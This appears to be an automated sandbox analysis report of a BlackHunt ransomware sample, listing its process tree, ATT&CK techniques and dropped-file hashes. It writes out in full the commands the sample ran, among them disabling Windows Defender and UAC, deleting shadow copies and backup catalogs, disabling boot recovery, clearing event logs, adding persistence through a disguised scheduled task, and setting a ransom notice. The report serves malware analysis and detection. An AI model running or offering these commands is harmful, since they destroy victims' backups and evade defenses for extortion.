ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 52 PID 2536 wrote to memory of 2172 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 54 PID 2536 wrote to memory of 2172 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 54 PID 2536 wrote to memory of 2172 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 54 PID 2536 wrote to memory of 2172 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 54 PID 2388 wrote to memory of 2700 2388 cmd.exe 57 PID 2388 wrote to memory of 2700 2388 cmd.exe 57 PID 2388 wrote to memory of 2700 2388 cmd.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe"C:\Users\Admin\AppData\Local\Temp\ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2536 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2764
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2760
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2864
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:1752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2772
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2876
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2780
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2120
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2740
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1028
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2656
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2112
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2672
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2824
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2188
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2704
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1760
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2756
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1352
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1516
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1048
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3732
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2200
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2368
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2376
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:764
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe" /F2⤵PID:1228
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe" /F3⤵
- Creates scheduled task(s)
PID:1132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2968
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2712
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:312
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1888
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:828
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1696
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2228
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2992
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2164
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2980
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2328
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3704
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3900
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2596
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1824
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2452
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2900
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3708
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:1944
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3912
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2632
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3036
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4052
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2208
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1668
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3232
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:272
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1884
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:2668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3880
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:4036
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1112
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2924
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3868
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:1456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3696
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe"2⤵
- Deletes itself
PID:3672 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2688
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3080
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3588
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1336
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1204
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2864
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
8KB
MD5c31c0c1ef568bbae9ce8f711a70e4525
SHA1e14a9eee7d628ee5c895b8ee961493ea00a1ca45
SHA256bc87fbcd50a974b1fccab3645806e523b48fb7223513f0909713abb9ba0b4736
SHA5123392b44a149eff5feed5b9e2512a24cf79b19ca51f319360172c53431b65f425ab2b51e9fc1ab0b1dcdc5351021294dd8915a2df3ee3999bffddb759107893ac
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Filesize
1KB
MD56086e91cfb2da845050e814b5138b6c5
SHA12a36c6e985053802adbf6ef5b406339f19bfa472
SHA256df9969b55632fc7d00abf7251eeb7bb2b265c72505838c5405c39b81bf7d6a1f
SHA5121c285ee63d3cd533d902290550e7d397d3b49303e012fae9bd2663238bcfe411401337efc295bcdc29685a3c7887cdbe324a519c0d73c5c9ae17403747c49e11
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Filesize
684B
MD56f1a2ded2de3172ecbca68c11c04cb4a
SHA1aadb65988441d7adcbf7a8619de6e34c9c9b0474
SHA2563f14370e1f815b170b0a3dd1b895a27b8d6d76550ffe8f67b701b03842584f93
SHA51207c3237dbd5f26ef76d46be8c4ca4b4b16850db498c8797adfbbd0af2560960bdf1970934163e40cbc630d0c2f1b2fbfd7ff9fa5b9f23130d9ba88b66468d14a